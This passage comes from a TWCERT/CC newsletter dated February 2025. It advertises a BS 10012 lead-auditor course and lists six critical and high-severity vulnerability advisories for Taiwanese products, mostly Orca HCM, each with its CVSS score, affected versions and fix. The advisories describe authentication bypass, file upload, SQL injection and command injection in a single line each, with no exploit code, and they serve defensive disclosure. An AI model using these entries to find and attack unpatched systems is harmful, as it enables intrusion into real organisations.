活動概要	 **【費用】** 原價： 56,000元/人 早鳥價： 53,000元/人(課前兩個月報名) 軟協會員：請洽承辦人 費用含稅、教材、餐點及完課證明 報名人數： 限 12 人 報名截止： 2025-04-07 **【活動內容 / Event Deails】** 本課程目的為學員在組織建立個資管理系統後，能透過稽核工作檢視個資管理的工作程序符合法規要求，且能在 PDCA 的循環流程下持續改善，並學員成為符合國際稽核準則 BS 10012 的合格主導稽核員。 **【主辦單位】中華民國資訊軟體協會** **【聯絡窗口】02-2553-3988 分機 816 林專員** **security@cisanet.org.tw**

第 4 章、TVN 漏洞公告

TWCERT/CC 本月份發布之CVSS 3.1分數為8.8以上之漏洞資訊如下表：

全訊電腦 校務行政系統 - Exposure of Sensitive Information	
TVN / CVE ID	TVN-202502002 / CVE-2025-1144
CVSS	9.8 (Critical) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
影響產品	全訊校務行政系統
問題描述	全訊電腦校務行政系統存在Exposure of Sensitive Information漏洞，未經身分鑑別之使用者可瀏覽特定頁面取得資料庫資訊與管理者帳號通行碼。
解決方法	請聯繫廠商以取得更新
公開日期	2025-02-10
相關連結	**https://www.twcert.org.tw/tw/cp-132-8415-853e0-1.html**
一宇數位科技 Orca HCM - Missing Authentication	
TVN / CVE ID	TVN-202409001 / CVE-2024-8584
CVSS	9.8 (Critical) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
影響產品	Orca HCM 11.0(不含)以前版本
問題描述	一宇數位科技 Orca HCM 存在Missing Authentication漏洞，未經身分鑑別之遠端攻擊者可利用該功能新增管理權限帳號，並用該帳號進行登入。
解決方法	標準用戶請更新至11.0(含)以後版本 客製化用戶請聯繫廠商安裝修補程式
公開日期	2025-02-17

相關連結	https://www.twcert.org.tw/tw/cp-132-8039-24e48-1.html
正邦資訊 airPASS - OS Command Injection	
TVN / CVE ID	TVN-202501003 / CVE-2025-0457
CVSS	8.8 (High) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
影響產品	airPASS v2.9.0.x, v3.0.0.x
問題描述	正邦資訊airPASS存在OS Command Injection漏洞，允許已取得一般權限之遠端攻擊者注入任意OS指令並執行。
解決方法	v2.9.0.x請更新至2.9.0.241231(含)以後版本 v3.0.0.x請更新至3.0.0.241231(含)以後版本 可透過代理(經銷)商或直接找原廠協助
公開日期	2025-01-15
相關連結	https://www.twcert.org.tw/tw/cp-132-8361-ff3fb-1.html
一宇數位科技 Orca HCM - Improper Authentication	
TVN / CVE ID	TVN-202502004 / CVE-2025-1387
CVSS	9.8 (Critical) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
影響產品	Orca HCM 11.0(不含)以前版本
問題描述	一宇數位科技Orca HCM存在Improper Authentication漏洞，允許未經身分鑑別之遠端攻擊者以任意使用者登入系統。
解決方法	標準用戶請更新至11.0(含)以後版本 客製化用戶請聯繫廠商安裝修補程式
公開日期	2025-02-17
相關連結	https://www.twcert.org.tw/tw/cp-132-8427-daea8-1.html

一宇數位科技 Orca HCM - Arbitrary File Upload	
TVN / CVE ID	TVN-202502005 / CVE-2025-1388
CVSS	8.8 (High) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
影響產品	Orca HCM 11.0(不含)以前版本
問題描述	一宇數位科技Orca HCM存在Arbitrary File Upload漏洞，允許已取得一般權限之遠端攻擊者上傳並執行網頁後門程式。
解決方法	標準用戶請更新至11.0(含)以後版本 客製化用戶請聯繫廠商安裝修補程式
公開日期	2025-02-17
相關連結	**https://www.twcert.org.tw/tw/cp-132-8429-07d7e-1.html**
一宇數位科技 Orca HCM - SQL Injection	
TVN / CVE ID	TVN-202502006 / CVE-2025-1389
CVSS	8.8 (High) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
影響產品	Orca HCM 11.0(不含)以前版本
問題描述	一宇數位科技Orca HCM存在SQL Injection漏洞，允許已取得一般權限之遠端攻擊者注入任意SQL指令以讀取、修改及刪除資料庫內容。
解決方法	標準用戶請更新至11.0(含)以後版本 客製化用戶請聯繫廠商安裝修補程式
公開日期	2025-02-17
相關連結	**https://www.twcert.org.tw/tw/cp-132-8431-61e42-1.html**

編輯：**TWCERT/CC 團隊**

發行單位：**台灣電腦網路危機處理暨協調中心**

(Taiwan Computer Emergency Response Team / Coordination Center)

出刊日期：**2025年2月28 日**

電子郵件：**CERT_Service@cert.org.tw**

官網：**https://twcert.org.tw/**

Facebook 粉絲專頁：**https://www.facebook.com/twcertcc/**

Instagram：**https://www.instagram.com/twcertcc/**